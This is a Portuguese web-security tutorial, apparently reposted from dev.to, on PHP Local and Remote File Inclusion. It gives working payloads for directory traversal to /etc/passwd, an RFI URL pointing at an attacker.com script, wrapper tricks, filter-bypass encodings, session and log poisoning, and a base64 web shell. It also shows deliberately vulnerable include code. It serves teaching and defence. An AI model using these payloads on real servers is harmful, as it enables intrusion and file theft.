Entenda como invasores podem explorar falhas de segurança para acessar arquivos confidenciais e executar códigos maliciosos em servidores web. Descubra as técnicas de Local File Inclusion (LFI) e Remote File Inclusion (RFI), além de métodos de proteção e exemplos práticos de ataques e defesas. Este guia aborda desde os conceitos básicos até as estratégias avançadas de exploração e prevenção.
Tipos de Pathing: Relativo vs. Absoluto
Ao trabalhar com arquivos em um sistema, é crucial entender os diferentes tipos de pathing. O pathing, ou “caminho”, define como um arquivo é localizado dentro da estrutura de diretórios. Existem dois tipos principais: relativo e absoluto.
O Relative Pathing localiza arquivos com base no diretório atual. Por exemplo, include('./folder/file.php') indica que o arquivo file.php está dentro da pasta folder, no mesmo diretório do script que o chama. Essa abordagem é útil quando a estrutura de diretórios do projeto é bem definida e os arquivos mantêm uma relação consistente entre si.
Já o Absolute Pathing especifica o caminho completo desde o diretório raiz. Um exemplo seria /var/www/html/folder/file.php, que fornece o caminho completo para o arquivo. O pathing absoluto é mais preciso, pois não depende do diretório de trabalho atual, mas pode ser menos flexível se a estrutura de diretórios mudar.
Remote File Inclusion (RFI)
A Inclusão Remota de Arquivos (RFI) é uma vulnerabilidade que permite a um invasor incluir arquivos remotos em um servidor web. Isso geralmente ocorre quando um aplicativo web usa uma URL para incluir um arquivo, sem validar adequadamente a entrada.
Em um ataque RFI, um invasor substitui a URL esperada por um caminho para um script malicioso hospedado em seu próprio servidor. Por exemplo: http://url/include.php?page=http://attacker.com/exploit.php. Aqui, o parâmetro page é manipulado para apontar para um script exploit.php controlado pelo atacante.
Local File Inclusion (LFI)
A Local File Inclusion (LFI) é uma vulnerabilidade que permite a um invasor acessar arquivos no servidor web, explorando campos de entrada mal protegidos. O objetivo é manipular os caminhos dos arquivos para acessar informações fora do diretório pretendido.
Um exemplo comum de ataque LFI é: http://url/include.php?page=../../../../etc/passwd. Neste caso, o invasor usa a sequência ../../ para navegar para cima na estrutura de diretórios e tentar acessar o arquivo /etc/passwd, que contém informações confidenciais do sistema.
LFI vs. RFI
A principal diferença entre LFI e RFI reside na origem do arquivo incluído. Enquanto o LFI explora a inclusão de arquivos locais no servidor, o RFI envolve a inclusão de arquivos hospedados em servidores remotos controlados pelo atacante.
O LFI permite que atacantes acessem arquivos confidenciais, como arquivos de configuração ou de sistema. Já o RFI pode levar à execução remota de código, permitindo que o atacante execute comandos no servidor web.
PHP Wrappers
Os PHP wrappers são funcionalidades do PHP que permitem acessar diversos fluxos de dados e executar código através de protocolos internos. Eles oferecem uma maneira flexível de manipular dados, mas também podem ser explorados por atacantes.
Um exemplo comum é o uso do php://filter, que permite aos invasores codificar o conteúdo de um arquivo, como /etc/passwd, usando o filtro convert.base64-encode. O payload final seria: php://filter/convert.base64-encode/resource=/etc/passwd. O conteúdo do arquivo, codificado em base64, é então decodificado usando ferramentas como o CyberChef.
Categorias de Filtros PHP
Os filtros PHP podem ser categorizados em diferentes tipos, cada um com funções específicas:
- Filtros de String:
string.rot13,string.toupper,string.tolower,string.strip_tags - Filtros de Conversão:
convert.base64-encode,convert.base64-decode,convert.quoted-printable-encode,convert.quoted-printable-decode - Filtros de Compressão:
zlib.deflate,zlib.inflate - Filtros de Encriptação:
mcrypt,mdecrypt(Em desuso)
Cada filtro pode ser usado para manipular os dados de diferentes maneiras. Por exemplo, a tabela a seguir mostra como o arquivo .htaccess é alterado ao aplicar diferentes filtros de string:
| Payload | Output |
|---|---|
| php://filter/convert.base64-encode/resource=.htaccess | UmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVz |
| php://filter/string.rot13/resource=.htaccess | ErjevgrRatvar ba Bcgvbaf -Vaqrkrf |
| php://filter/string.toupper/resource=.htaccess | REWRITEENGINE ON OPTIONS -INDEXES |
| php://filter/string.tolower/resource=.htaccess | rewriteengine on options -indexes |
| php://filter/string.strip_tags/resource=.htaccess | RewriteEngine on Options -Indexes |
| No filter applied | RewriteEngine on Options -Indexes |
Data Wrapper
O data wrapper data:// permite a incorporação de dados embutidos. Ele é usado para inserir pequenas quantidades de dados diretamente no código da aplicação.
Exemplo: data:text/plain,<?php%20phpinfo();%20?>. Neste caso:
data:é a URL.- O mime-type é definido como
text/plain. - A parte de dados inclui um trecho de código PHP:
<?php phpinfo(); ?>.
Base Directory Breakout
A técnica de Base Directory Breakout envolve escapar do diretório base de um aplicativo para acessar arquivos fora desse diretório. Isso geralmente ocorre explorando falhas em como o aplicativo lida com os caminhos dos arquivos.
Considere o seguinte trecho de código:
function containsStr($str, $subStr){
return strpos($str, $subStr) !== false;
}
if(isset($_GET['page'])){
if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
include $_GET['page'];
}else{
echo 'You are not allowed to go outside /var/www/html/ directory!';
}
}
Este código tenta impedir que os usuários acessem arquivos fora do diretório /var/www/html/, verificando se a entrada contém ../.. e se contém /var/www/html.
No entanto, essa proteção pode ser contornada usando o payload /var/www/html/..//..//..//etc/passwd. A sequência ..//..// é funcionalmente equivalente a ../../, mas não é detectada pelo filtro.
Obfuscation
A ofuscação é uma técnica usada para mascarar o payload de um ataque, tornando-o mais difícil de detectar. No contexto de Local File Inclusion, isso pode envolver a codificação ou alteração da representação de caracteres especiais, como ../.
Algumas técnicas comuns de ofuscação incluem:
- Codificação de URL Padrão:
../se torna%2e%2e%2f - Codificação Dupla:
../se torna%252e%252e%252f - Ofuscação:
....//
Por exemplo, considere um script que tenta mitigar LFI removendo ../:
$file = $_GET['file'];
$file = str_replace('../', '', $file);
include('files/' . $file);
Um atacante pode contornar este filtro usando:
- URL Encoded Bypass:
?file=%2e%2e%2fconfig.php - Double Encoded Bypass:
?file=%252e%252e%252fconfig.php - Ofuscação:
....//config.php
LFI2RCE – Session Files
Arquivos de sessão PHP podem ser usados em um ataque LFI para alcançar a Execução Remota de Código (RCE), especialmente se um invasor puder manipular os dados da sessão. Em um aplicativo web típico, os dados da sessão são armazenados em arquivos no servidor.
Considere o seguinte código:
if(isset($_GET['page'])){
$_SESSION['page'] = $_GET['page'];
echo "You're currently in" . $_GET["page"];
include($_GET['page']);
}
Um atacante pode explorar essa vulnerabilidade injetando código PHP em sua variável de sessão, usando <?php echo phpinfo(); ?> no parâmetro page. Este código é então salvo no arquivo de sessão no servidor.
Posteriormente, o invasor pode usar a vulnerabilidade LFI para incluir este arquivo de sessão. Como os IDs de sessão são hash, o ID pode ser encontrado na seção de cookies do navegador.
Acessar a URL sessions.php?page=/var/lib/php/sessions/sess_[sessionID] executará o código PHP injetado no arquivo de sessão. É importante substituir [sessionID] pelo valor do seu cookie PHPSESSID.
LFI2RCE – Log Poisoning
O Log Poisoning é uma técnica onde um invasor injeta código executável em um arquivo de log do servidor web e, em seguida, usa uma vulnerabilidade LFI para incluir e executar este arquivo de log.
Isso pode ser feito por:
- Criar um user agent malicioso.
- Enviar um payload via URL usando Netcat.
- Enviar um payload via um cabeçalho referrer que o servidor registra.
Por exemplo, se um invasor envia uma requisição Netcat para a máquina vulnerável contendo código PHP:
$ nc 10.10.126.142 80 <?php echo phpinfo(); ?> HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 05:39:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 335 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 10.10.126.142.eu-west-1.compute.internal Port 80</address> </body></html>
O código será então registrado nos logs de acesso do servidor.
O invasor então usa LFI para incluir o arquivo de log de acesso: ?page=/var/log/apache2/access.log.
LFI2RCE – Wrappers
PHP wrappers podem ser usados não apenas para ler arquivos, mas também para execução de código. Podemos criar um payload como: <?php system($_GET['cmd']); echo 'Shell done!'; ?>.
O valor do payload, quando codificado em base64, será php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.
| Posição | Campo | Valor |
|---|---|---|
| 1 | Protocol Wrapper | php://filter |
| 2 | Filter | convert.base64-decode |
| 3 | Resource Type | resource= |
| 4 | Data Type | data://plain/text, |
| 5 | Encoded Payload | PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ |
Na tabela acima, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ é a versão codificada em base64 do código PHP. Quando o servidor processa esta requisição, ele primeiro decodifica a string base64 e então executa o código PHP, permitindo que o atacante execute comandos no servidor via o parâmetro GET “cmd”.
As vulnerabilidades de inclusão de arquivos, tanto local (LFI) quanto remota (RFI), representam sérios riscos para a segurança de aplicações web. A capacidade de explorar essas falhas para acessar arquivos confidenciais ou executar código malicioso pode comprometer a integridade e a confidencialidade dos dados. Implementar medidas de segurança robustas, como validação rigorosa de entradas, uso de pathing absoluto e monitoramento contínuo de logs, é fundamental para mitigar esses riscos e proteger os sistemas contra ataques.
Este conteúdo foi auxiliado por Inteligência Artificial, mas escrito e revisado por um humano.
Via dev.to